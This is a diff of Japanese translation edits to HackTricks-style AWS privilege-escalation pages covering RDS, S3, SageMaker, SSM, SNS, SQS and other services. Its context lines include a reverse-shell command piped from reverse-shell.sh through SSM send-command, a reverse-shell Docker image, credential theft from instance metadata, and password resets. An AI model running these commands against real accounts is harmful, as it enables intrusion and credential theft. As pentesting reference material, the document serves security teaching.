-この権限を持つ攻撃者は、サブドメインを作成し、自分のIPアドレスにポイントさせることができる（サブドメインの乗っ取り）、または、ドメインからのメールを偽装することを可能にするSPFレコードを作成することができる、さらにはメインドメインを自分のIPアドレスに設定することもできる。
+この権限を持つ攻撃者は、サブドメインを作成し、自分のIPアドレスにポイントすることができる（サブドメインの乗っ取り）、またはドメインからのメールを偽装することを許可するSPFレコードを作成することができる、さらにはメインドメインを自分のIPアドレスに設定することもできる。
 ```bash
 aws lightsail create-domain-entry \
 --domain-name example.com \

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md

@@ -4,7 +4,7 @@
 
 ### `mediapackage:RotateChannelCredentials`
 
-チャンネルの最初のIngestEndpointのユーザー名とパスワードを変更します。（このAPIはRotateIngestEndpointCredentialsのために非推奨です）
+Channelの最初のIngestEndpointのユーザー名とパスワードを変更します。（このAPIはRotateIngestEndpointCredentialsのために非推奨です）
 ```bash
 aws mediapackage rotate-channel-credentials --id <value>
 ```

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md

@@ -4,7 +4,7 @@
 
 ## MQ
 
-MQに関する詳細情報は、以下を確認してください：
+MQに関する詳細情報は、以下を確認してください:
 
 {{#ref}}
 ../aws-services/aws-mq-enum.md
@@ -12,7 +12,7 @@ MQに関する詳細情報は、以下を確認してください：
 
 ### `mq:ListBrokers`, `mq:CreateUser`
 
-これらの権限を持つことで、**ActimeMQブローカーに新しいユーザーを作成できます**（これはRabbitMQでは機能しません）：
+これらの権限を使用すると、**ActiveMQブローカーに新しいユーザーを作成できます**（これはRabbitMQでは機能しません）：
 ```bash
 aws mq list-brokers
 aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
@@ -21,22 +21,22 @@ aws mq create-user --broker-id <value> --console-access --password <value> --use
 
 ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
 
-これらの権限を持つと、**ActiveMQブローカーに新しいユーザーを作成できます**（これはRabbitMQでは機能しません）：
+これらの権限を持つことで、**ActiveMQブローカーに新しいユーザーを作成することができます**（これはRabbitMQでは機能しません）：
 ```bash
 aws mq list-brokers
 aws mq list-users --broker-id <value>
 aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
 ```
-**潜在的な影響:** ActiveMQを通じて機密情報にアクセスする
+**潜在的な影響:** ActiveMQを通じて機密情報にアクセス
 
 ### `mq:ListBrokers`, `mq:UpdateBroker`
 
-ブローカーが**ActiveMQ**で**LDAP**を使用して認証を行っている場合、攻撃者が**制御するもの**に**LDAPサーバーの設定**を**変更**することが可能です。これにより、攻撃者は**LDAPを通じて送信されるすべての資格情報を盗む**ことができます。
+ブローカーが**ActiveMQ**で**LDAP**を使用して認証している場合、攻撃者が制御する**LDAPサーバー**に使用される**設定**を**変更**することが可能です。これにより、攻撃者は**LDAPを通じて送信されるすべての資格情報を盗む**ことができます。
 ```bash
 aws mq list-brokers
 aws mq update-broker --broker-id <value> --ldap-server-metadata=...
 ```
-もしActiveMQで使用されている元の認証情報を見つけることができれば、MitMを実行し、認証情報を盗み、元のサーバーでそれを使用し、応答を送信することができます（おそらく盗まれた認証情報を再利用するだけでこれを行うことができます）。
+もしActiveMQで使用されている元の認証情報を見つけることができれば、MitM攻撃を実行し、認証情報を盗み、元のサーバーでそれを使用し、レスポンスを送信することができます（盗まれた認証情報を再利用するだけでこれを行うことができるかもしれません）。
 
 **潜在的な影響:** ActiveMQの認証情報を盗む
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md

@@ -4,7 +4,7 @@
 
 ## MSK
 
-MSK (Kafka) に関する詳細情報は、以下を参照してください:
+MSK (Kafka) に関する詳細情報は、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-msk-enum.md
@@ -12,11 +12,11 @@ MSK (Kafka) に関する詳細情報は、以下を参照してください:
 
 ### `msk:ListClusters`, `msk:UpdateSecurity`
 
-これらの **権限** と **kafka ブローカーが存在する VPC へのアクセス** があれば、**None 認証** を追加してアクセスすることができます。
+これらの**権限**と**kafka ブローカーが存在する VPC へのアクセス**があれば、**None 認証**を追加してアクセスすることができます。
 ```bash
 aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
 ```
-VPCへのアクセスが必要です。なぜなら、**Kafkaを公開でNone認証を有効にすることはできないからです**。公開されている場合、**SASL/SCRAM**認証が使用されていると、**秘密を読む**ことができるかもしれません（秘密を読むには追加の権限が必要です）。\
+VPCへのアクセスが必要です。なぜなら、**Kafkaを公開でNone認証を有効にすることはできない**からです。公開されている場合、**SASL/SCRAM**認証が使用されていると、**シークレットを読み取る**ことができる可能性があります（シークレットを読み取るには追加の権限が必要です）。\
 **IAMロールベースの認証**が使用され、**Kafkaが公開されている**場合でも、これらの権限を悪用してアクセスするための権限を与えることができます。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md

@@ -4,7 +4,7 @@
 
 ## RDS - リレーショナルデータベースサービス
 
-RDSに関する詳細情報は以下を確認してください：
+RDSに関する詳細情報は以下を確認してください:
 
 {{#ref}}
 ../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ RDSに関する詳細情報は以下を確認してください：
 
 ### `rds:ModifyDBInstance`
 
-その権限を持つ攻撃者は**マスターユーザーのパスワードを変更**し、データベース内のログインを行うことができます：
+この権限を持つ攻撃者は**マスターユーザーのパスワードを変更**し、データベース内のログインを行うことができます:
 ```bash
 # Get the DB username, db name and address
 aws rds describe-db-instances
@@ -29,7 +29,7 @@ psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
 > [!WARNING]
 > データベースに**接続する**ことができる必要があります（通常、内部ネットワークからのみアクセス可能です）。
 
-**潜在的な影響:** データベース内の機密情報を見つけることができます。
+**潜在的な影響:** データベース内の機密情報を見つけること。
 
 ### rds-db:connect
 
@@ -40,17 +40,17 @@ psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
 #### Postgresql (Aurora)
 
 > [!TIP]
-> **`SELECT datname FROM pg_database;`**を実行すると、**`rdsadmin`**というデータベースが見つかる場合、**AWS postgresqlデータベース**内にいることがわかります。
+> **`SELECT datname FROM pg_database;`** を実行すると、**`rdsadmin`** というデータベースが見つかる場合、**AWS postgresqlデータベース**内にいることがわかります。
 
 まず、このデータベースが他のAWSサービスにアクセスするために使用されているかどうかを確認できます。インストールされている拡張機能を見て確認できます:
 ```sql
 SELECT * FROM pg_extension;
 ```
-もし**`aws_s3`**のようなものを見つけたら、このデータベースが**S3に対する何らかのアクセスを持っている**と考えることができます（**`aws_ml`**や**`aws_lambda`**などの他の拡張もあります）。
+もし**`aws_s3`**のようなものを見つけた場合、このデータベースは**S3に対する何らかのアクセス権を持っている**と考えられます（**`aws_ml`**や**`aws_lambda`**などの他の拡張子もあります）。
 
-また、**`aws rds describe-db-clusters`**を実行する権限がある場合、**`AssociatedRoles`**フィールドで**クラスターに関連付けられたIAMロールがあるかどうか**を確認できます。もしあれば、そのデータベースは**他のAWSサービスにアクセスするために準備されている**と考えることができます。**ロールの名前**（またはロールの**権限**を取得できる場合）に基づいて、データベースがどのような追加アクセスを持っているかを**推測**することができます。
+また、**`aws rds describe-db-clusters`**を実行する権限がある場合、**`AssociatedRoles`**フィールドで**クラスターにIAMロールが付与されているかどうか**を確認できます。もしあれば、そのデータベースは**他のAWSサービスにアクセスするために準備されている**と考えられます。**ロールの名前**（またはロールの**権限**を取得できる場合）に基づいて、データベースがどのような追加アクセスを持っているかを**推測**することができます。
 
-さて、**バケット内のファイルを読む**には、フルパスを知っている必要があります。次のようにして読むことができます：
+さて、**バケット内のファイルを読むためには**、フルパスを知っている必要があります。次のようにして読むことができます:
 ```sql
 // Create table
 CREATE TABLE ttemp (col TEXT);
@@ -85,13 +85,13 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
 #### Mysql (Aurora)
 
 > [!TIP]
-> mysql 内で **`SELECT User, Host FROM mysql.user;`** クエリを実行し、**`rdsadmin`** というユーザーがいる場合、あなたは **AWS RDS mysql db** 内にいると考えられます。
+> mysql 内で **`SELECT User, Host FROM mysql.user;`** クエリを実行し、**`rdsadmin`** というユーザーがいる場合、あなたは **AWS RDS mysql db** 内にいると考えることができます。
 
 mysql 内で **`show variables;`** を実行し、**`aws_default_s3_role`**、**`aurora_load_from_s3_role`**、**`aurora_select_into_s3_role`** などの変数に値がある場合、データベースは S3 データにアクセスする準備ができていると考えられます。
 
-また、**`aws rds describe-db-clusters`** を実行する権限がある場合、クラスターに **関連付けられたロール** があるかどうかを確認できます。これは通常、AWS サービスへのアクセスを意味します。
+また、**`aws rds describe-db-clusters`** を実行する権限がある場合、クラスターに **関連するロール** があるかどうかを確認できます。これは通常、AWS サービスへのアクセスを意味します。
 
-さて、**バケット内のファイルを読むためには**、フルパスを知っている必要があります。次のようにして読むことができます：
+今、**バケット内のファイルを読むためには**、フルパスを知っている必要があります。次のようにして読むことができます:
 ```sql
 CREATE TABLE ttemp (col TEXT);
 LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
@@ -100,7 +100,7 @@ DROP TABLE ttemp;
 ```
 ### `rds:AddRoleToDBCluster`, `iam:PassRole`
 
-`rds:AddRoleToDBCluster` および `iam:PassRole` の権限を持つ攻撃者は、**既存の RDS インスタンスに指定されたロールを追加**することができます。これにより、攻撃者は **機密データにアクセス**したり、インスタンス内のデータを変更したりすることが可能になります。
+`rds:AddRoleToDBCluster` および `iam:PassRole` の権限を持つ攻撃者は、**既存の RDS インスタンスに指定されたロールを追加**することができます。これにより、攻撃者は **機密データにアクセス**したり、インスタンス内のデータを変更したりすることができる可能性があります。
 ```bash
 aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
 ```
@@ -124,28 +124,28 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
 > [!NOTE]
 > TODO: テスト
 
-`rds:CreateDBInstance` と `iam:PassRole` の権限を持つ攻撃者は、**指定されたロールを添付した新しい RDS インスタンスを作成することができます**。攻撃者はその後、**機密データにアクセスしたり**、インスタンス内のデータを変更したりする可能性があります。
+`rds:CreateDBInstance` と `iam:PassRole` の権限を持つ攻撃者は、**指定されたロールを添付して新しい RDS インスタンスを作成**できます。攻撃者はその後、**機密データにアクセス**したり、インスタンス内のデータを変更したりする可能性があります。
 
 > [!WARNING]
-> 添付するロール/インスタンスプロファイルのいくつかの要件 (詳細は [**こちら**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html) を参照)：
+> 添付するロール/インスタンスプロファイルのいくつかの要件（[**こちら**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)から）:
 
-> - プロファイルはあなたのアカウントに存在する必要があります。
+> - プロファイルはあなたのアカウントに存在しなければなりません。
 > - プロファイルには、Amazon EC2 が引き受ける権限を持つ IAM ロールが必要です。
 > - インスタンスプロファイル名と関連する IAM ロール名は、プレフィックス `AWSRDSCustom` で始まる必要があります。
 ```bash
 aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
 ```
-**潜在的影響**: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。
+**潜在的な影響**: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。
 
 ### `rds:AddRoleToDBInstance`, `iam:PassRole`
 
-`rds:AddRoleToDBInstance`および`iam:PassRole`の権限を持つ攻撃者は、**既存のRDSインスタンスに指定されたロールを追加する**ことができます。これにより、攻撃者は**機密データにアクセス**したり、インスタンス内のデータを変更したりすることが可能になります。
+`rds:AddRoleToDBInstance`および`iam:PassRole`の権限を持つ攻撃者は、**既存のRDSインスタンスに指定されたロールを追加**することができます。これにより、攻撃者は**機密データにアクセス**したり、インスタンス内のデータを変更したりすることが可能になります。
 
 > [!WARNING]
-> このためには、DBインスタンスはクラスターの外にある必要があります。
+> DBインスタンスは、これを行うためにクラスターの外にある必要があります。
 ```bash
 aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
 ```
-**潜在的な影響**: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。
+**潜在的な影響**: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。 
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md

@@ -82,11 +82,11 @@ from 'dynamodb://ProductCatalog'
 iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
 ```
 > [!WARNING]
-> データを提供するAmazon DynamoDBテーブルは、クラスターと同じAWSリージョンに作成する必要があります。そうでない場合は、[REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region)オプションを使用して、Amazon DynamoDBテーブルが存在するAWSリージョンを指定してください。
+> データを提供するAmazon DynamoDBテーブルは、クラスターと同じAWSリージョンに作成する必要があります。さもなければ、[REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region)オプションを使用して、Amazon DynamoDBテーブルが存在するAWSリージョンを指定する必要があります。
 
 ### EMR
 
-[https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)を確認してください。
+チェック [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
 
 ## References
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md

@@ -8,7 +8,7 @@
 
 興味深いバケットに対してこれらの権限を持つ攻撃者は、リソースをハイジャックし、権限を昇格させることができるかもしれません。
 
-例えば、"cf-templates-nohnwfax6a6i-us-east-1"というクラウドフォーメーションバケットに対してこれらの**権限を持つ攻撃者**は、デプロイメントをハイジャックすることができます。アクセスは以下のポリシーで付与できます:
+例えば、"cf-templates-nohnwfax6a6i-us-east-1"という名前のcloudformationバケットに対してこれらの**権限を持つ攻撃者**は、デプロイメントをハイジャックすることができます。アクセスは以下のポリシーで付与できます:
 ```json
 {
 "Version": "2012-10-17",
@@ -34,25 +34,25 @@
 ]
 }
 ```
-そして、ハイジャックが可能なのは、**テンプレートがバケットにアップロードされる瞬間から**、**テンプレートがデプロイされる瞬間までの小さな時間ウィンドウ**があるからです。攻撃者は、自分のアカウントに**lambda function**を作成し、**バケット通知が送信されたときにトリガーされる**ようにし、**そのバケットの内容をハイジャック**することができます。
+そして、ハイジャックが可能なのは、**テンプレートがバケットにアップロードされる瞬間から**、**テンプレートがデプロイされる瞬間までの小さな時間ウィンドウ**があるためです。攻撃者は、自分のアカウントに**lambda function**を作成し、**バケット通知が送信されたときにトリガーされる**ようにし、その**バケット**の**コンテンツ**を**ハイジャック**することができます。
 
 ![](<../../../images/image (174).png>)
 
-Pacuモジュール [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) を使用して、この攻撃を自動化できます。\
+Pacuモジュール[`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection)を使用して、この攻撃を自動化できます。\
 詳細については、元の研究を確認してください: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
 
 ### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
 
 これらは、**S3にオブジェクトを取得およびアップロードするための権限**です。AWS内（およびその外）でいくつかのサービスが、**設定ファイル**を保存するためにS3ストレージを使用しています。\
-それらに**読み取りアクセス**を持つ攻撃者は、**機密情報**を見つける可能性があります。\
+それらに**読み取りアクセス**を持つ攻撃者は、そこに**機密情報**を見つけるかもしれません。\
 それらに**書き込みアクセス**を持つ攻撃者は、**データを変更してサービスを悪用し、特権を昇格させようとする**ことができます。\
 以下はそのいくつかの例です：
 
-- EC2インスタンスが**ユーザーデータをS3バケットに保存している**場合、攻撃者はそれを変更して**EC2インスタンス内で任意のコードを実行**することができます。
+- EC2インスタンスが**ユーザーデータをS3バケットに保存している**場合、攻撃者はそれを変更して**EC2インスタンス内で任意のコードを実行する**ことができます。
 
 ### `s3:PutBucketPolicy`
 
-攻撃者は、**同じアカウントからである必要があり**、そうでない場合は`The specified method is not allowed will trigger`というエラーが発生します。この権限を持つ攻撃者は、バケットに対して自分自身により多くの権限を付与し、読み取り、書き込み、変更、削除、バケットを公開することができるようになります。
+攻撃者は、**同じアカウントからでなければならず**、そうでない場合は`The specified method is not allowed will trigger`というエラーが発生します。この権限を持つ攻撃者は、バケットに対して自分自身により多くの権限を付与し、読み取り、書き込み、変更、削除、バケットを公開することができるようになります。
 ```bash
 # Update Bucket policy
 aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -110,7 +110,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
 ```
 ### `s3:GetBucketAcl`, `s3:PutBucketAcl`
 
-攻撃者はこれらの権限を悪用して、特定のバケットに対して**より多くのアクセスを付与する**ことができます。\
+攻撃者はこれらの権限を悪用して、特定のバケットに対する**より多くのアクセスを付与する**ことができます。\
 攻撃者は同じアカウントからである必要はないことに注意してください。さらに、書き込みアクセス
 ```bash
 # Update bucket ACL

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md

@@ -12,12 +12,12 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \
 --instance-type ml.t2.medium \
 --role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
 ```
-レスポンスには、作成されたノートブックインスタンスのARNを含む`NotebookInstanceArn`フィールドが含まれる必要があります。次に、`create-presigned-notebook-instance-url` APIを使用して、ノートブックインスタンスが準備完了した際にアクセスするためのURLを生成できます：
+レスポンスには `NotebookInstanceArn` フィールドが含まれており、これは新しく作成されたノートブックインスタンスのARNを含みます。次に、`create-presigned-notebook-instance-url` APIを使用して、ノートブックインスタンスが準備完了次第アクセスするためのURLを生成できます。
 ```bash
 aws sagemaker create-presigned-notebook-instance-url \
 --notebook-instance-name <name>
 ```
-ブラウザでURLに移動し、右上の\`Open JupyterLab\`をクリックし、次に「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。
+ブラウザでURLに移動し、右上の \`Open JupyterLab\` をクリックします。次に、「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。
 
 これで、IAMロールのメタデータ資格情報にアクセスすることが可能です。
 
@@ -25,7 +25,7 @@ aws sagemaker create-presigned-notebook-instance-url \
 
 ### `sagemaker:CreatePresignedNotebookInstanceUrl`
 
-もしJupyter **ノートブックがすでに実行中**であり、\`sagemaker:ListNotebookInstances\`を使用してそれらをリストできる場合（または他の方法で発見できる場合）、それらのためのURLを**生成し、アクセスし、前の技術で示されたように資格情報を盗むことができます**。
+もしJupyter **ノートブックがすでに実行中**であり、`sagemaker:ListNotebookInstances`を使用してそれらをリストできる場合（または他の方法で発見できる場合）、それらのためのURLを**生成し、アクセスし、前の技術で示されたように資格情報を盗むことができます**。
 ```bash
 aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
 ```
@@ -49,16 +49,16 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
 
 ### `sagemaker:CreateTrainingJob`, `iam:PassRole`
 
-これらの権限を持つ攻撃者は、**任意のコンテナを実行する**トレーニングジョブを作成でき、**それにロールが付与されます**。したがって、攻撃者はそのロールの資格情報を盗むことができます。
+これらの権限を持つ攻撃者は、**任意のコンテナを実行する**トレーニングジョブを作成でき、**ロールが添付された**状態になります。したがって、攻撃者はそのロールの資格情報を盗むことができます。
 
 > [!WARNING]
-> このシナリオは、攻撃者がrevシェルまたは資格情報を直接送信するDockerイメージを生成する必要があるため、前のシナリオよりも悪用が難しいです（トレーニングジョブの設定で開始コマンドを指定することはできません）。
+> このシナリオは、攻撃者がリバースシェルや資格情報を直接送信するDockerイメージを生成する必要があるため、前のシナリオよりも悪用が難しいです（トレーニングジョブの設定で開始コマンドを指定することはできません）。
 >
 > ```bash
 > # Dockerイメージを作成
 > mkdir /tmp/rev
 > ## トレーニングジョブが「train」という実行可能ファイルを呼び出すことに注意してください
-> ## だから、revシェルを/bin/trainに置いています
+> ## だから、リバースシェルを/bin/trainに置いています
 > ## <YOUR-IP-OR-DOMAIN>と<YOUR-PORT>の値を設定してください
 > cat > /tmp/rev/Dockerfile <<EOF
 > FROM ubuntu
@@ -94,10 +94,10 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
 
 ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
 
-その権限を持つ攻撃者は（潜在的に）**ハイパーパラメータトレーニングジョブ**を作成し、**それに役割を付けた任意のコンテナ**を実行できる可能性があります。\
-&#xNAN;_&#x49; 時間がなかったために悪用していませんが、以前の悪用と似ているようです。悪用の詳細を含むPRを送信してください。_
+その権限を持つ攻撃者は（潜在的に）**ハイパーパラメータトレーニングジョブ**を作成し、**任意のコンテナ**をそれに**ロールを付けて**実行できる可能性があります。\
+&#xNAN;_&#x49; 時間がないために悪用していませんが、以前の悪用と似ているようです。悪用の詳細を含むPRを送信してください。_
 
-## 参考文献
+## 参照
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md

@@ -4,7 +4,7 @@
 
 ## Secrets Manager
 
-Secrets Manager についての詳細は、以下を確認してください：
+Secrets Managerに関する詳細情報は、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-secrets-manager-enum.md
@@ -12,15 +12,15 @@ Secrets Manager についての詳細は、以下を確認してください：
 
 ### `secretsmanager:GetSecretValue`
 
-この権限を持つ攻撃者は、AWS **Secretsmanager** 内の **シークレットに保存された値** を取得できます。
+この権限を持つ攻撃者は、AWS **Secretsmanager**内の**シークレットに保存された値**を取得できます。
 ```bash
 aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
 ```
-**潜在的な影響:** AWS Secrets Manager サービス内の高機密データにアクセスすること。
+**潜在的な影響:** AWS Secrets Manager サービス内の高感度データにアクセスすること。
 
 ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
 
-前述の権限を持つことで、**他のプリンシパル/アカウント（外部も含む）**に**シークレット**へのアクセスを**付与する**ことが可能です。KMS キーで暗号化されたシークレットを**読み取る**ためには、ユーザーが**KMS キーへのアクセス**も持っている必要があることに注意してください（詳細は[KMS Enum ページ](../aws-services/aws-kms-enum.md)を参照）。
+前述の権限を持つことで、**他のプリンシパル/アカウント（外部も含む）**に**シークレット**へのアクセスを**付与する**ことが可能です。KMS キーで暗号化されたシークレットを**読み取る**ためには、ユーザーが**KMS キーへのアクセス**も持っている必要があることに注意してください（詳細は [KMS Enum page](../aws-services/aws-kms-enum.md) を参照）。
 ```bash
 aws secretsmanager list-secrets
 aws secretsmanager get-resource-policy --secret-id <secret_name>

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md

@@ -4,7 +4,7 @@
 
 ## SNS
 
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
 ../aws-services/aws-sns-enum.md
@@ -16,22 +16,22 @@
 ```bash
 aws sns publish --topic-arn <value> --message <value>
 ```
-**潜在的な影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。
+**潜在的影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。
 
 ### `sns:Subscribe`
 
-攻撃者はSNSトピックにサブスクライブすることで、メッセージへの不正アクセスを得たり、トピックに依存するアプリケーションの正常な機能を妨げたりする可能性があります。
+攻撃者はSNSトピックにサブスクライブすることで、メッセージへの不正アクセスを得たり、トピックに依存するアプリケーションの正常な機能を妨害したりする可能性があります。
 ```bash
 aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
 ```
-**潜在的な影響**: メッセージへの不正アクセス（機密情報）、影響を受けたトピックに依存するアプリケーションのサービス中断。
+**潜在的影響**: メッセージへの不正アクセス（機密情報）、影響を受けたトピックに依存するアプリケーションのサービス中断。
 
 ### `sns:AddPermission`
 
-攻撃者は、不正なユーザーやサービスにSNSトピックへのアクセスを付与し、さらなる権限を得る可能性があります。
+攻撃者は、不正なユーザーやサービスにSNSトピックへのアクセスを付与し、さらなる権限を取得する可能性があります。
 ```css
 aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
 ```
-**潜在的な影響**: 不正なユーザーやサービスによるトピックへの不正アクセス、メッセージの露出、またはトピックの操作、トピックに依存するアプリケーションの正常な機能の妨害。
+**潜在的影響**: 不正なユーザーやサービスによるトピックへの不正アクセス、メッセージの露出、またはトピックの操作、トピックに依存するアプリケーションの正常な機能の妨害。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md

@@ -4,7 +4,7 @@
 
 ## SQS
 
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
 ../aws-services/aws-sqs-and-sns-enum.md
@@ -16,11 +16,11 @@
 ```bash
 cssCopy codeaws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
 ```
-**潜在的な影響**: 不正なユーザーやサービスによるキューへの不正アクセス、メッセージの露出、またはキューの操作。
+**潜在的な影響**: キューへの不正アクセス、メッセージの露出、または不正なユーザーやサービスによるキューの操作。
 
 ### `sqs:SendMessage` , `sqs:SendMessageBatch`
 
-攻撃者は、SQSキューに悪意のあるまたは望ましくないメッセージを送信する可能性があり、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させたりする可能性があります。
+攻撃者は、SQSキューに悪意のあるまたは不要なメッセージを送信する可能性があり、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させたりする可能性があります。
 ```bash
 aws sqs send-message --queue-url <value> --message-body <value>
 aws sqs send-message-batch --queue-url <value> --entries <value>

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md

@@ -12,7 +12,7 @@ SSMに関する詳細情報は、以下を確認してください：
 
 ### `ssm:SendCommand`
 
-**`ssm:SendCommand`** の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**コマンドを実行**し、**その中で実行されているIAMロールを侵害**することができます。
+**`ssm:SendCommand`** の権限を持つ攻撃者は、Amazon SSM Agentを実行しているインスタンスで**コマンドを実行**し、**その中で実行されているIAMロールを侵害**することができます。
 ```bash
 # Check for configured instances
 aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
 --document-name "AWS-RunShellScript" --output text \
 --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
 ```
-もしこの技術を使用して、すでに侵害されたEC2インスタンス内で権限を昇格させる場合は、次のコマンドでローカルにrevシェルをキャプチャできます:
+既に侵害されたEC2インスタンス内で特権を昇格させるためにこの技術を使用している場合、次のコマンドでローカルにリバースシェルをキャプチャできます:
 ```bash
 # If you are in the machine you can capture the reverseshel inside of it
 nc -lvnp 4444 #Inside the EC2 instance
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
 --document-name "AWS-RunShellScript" --output text \
 --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
 ```
-**潜在的な影響:** SSMエージェントが実行されているインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格。
+**潜在的な影響:** SSMエージェントが実行されているインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。
 
 ### `ssm:StartSession`
 
-**`ssm:StartSession`** の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**SSHのようなセッションを開始**し、その中で実行されている**IAMロールを侵害**することができます。
+**`ssm:StartSession`** の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**SSHのようなセッションを開始**し、**その中で実行されているIAMロールを侵害**することができます。
 ```bash
 # Check for configured instances
 aws ssm describe-instance-information
@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
 aws ssm start-session --target "$INSTANCE_ID"
 ```
 > [!CAUTION]
-> セッションを開始するには、**SessionManagerPlugin**がインストールされている必要があります: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
+> セッションを開始するには、**SessionManagerPlugin**をインストールする必要があります: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
 
 **潜在的な影響:** SSMエージェントが実行されているインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。
 
 #### ECSへの権限昇格
 
-**ECSタスク**が**`ExecuteCommand`が有効**な状態で実行されると、十分な権限を持つユーザーは`ecs execute-command`を使用して**コンテナ内でコマンドを実行**できます。\
+**ECSタスク**が**`ExecuteCommand`を有効にして実行される**と、十分な権限を持つユーザーは`ecs execute-command`を使用して**コンテナ内でコマンドを実行**できます。\
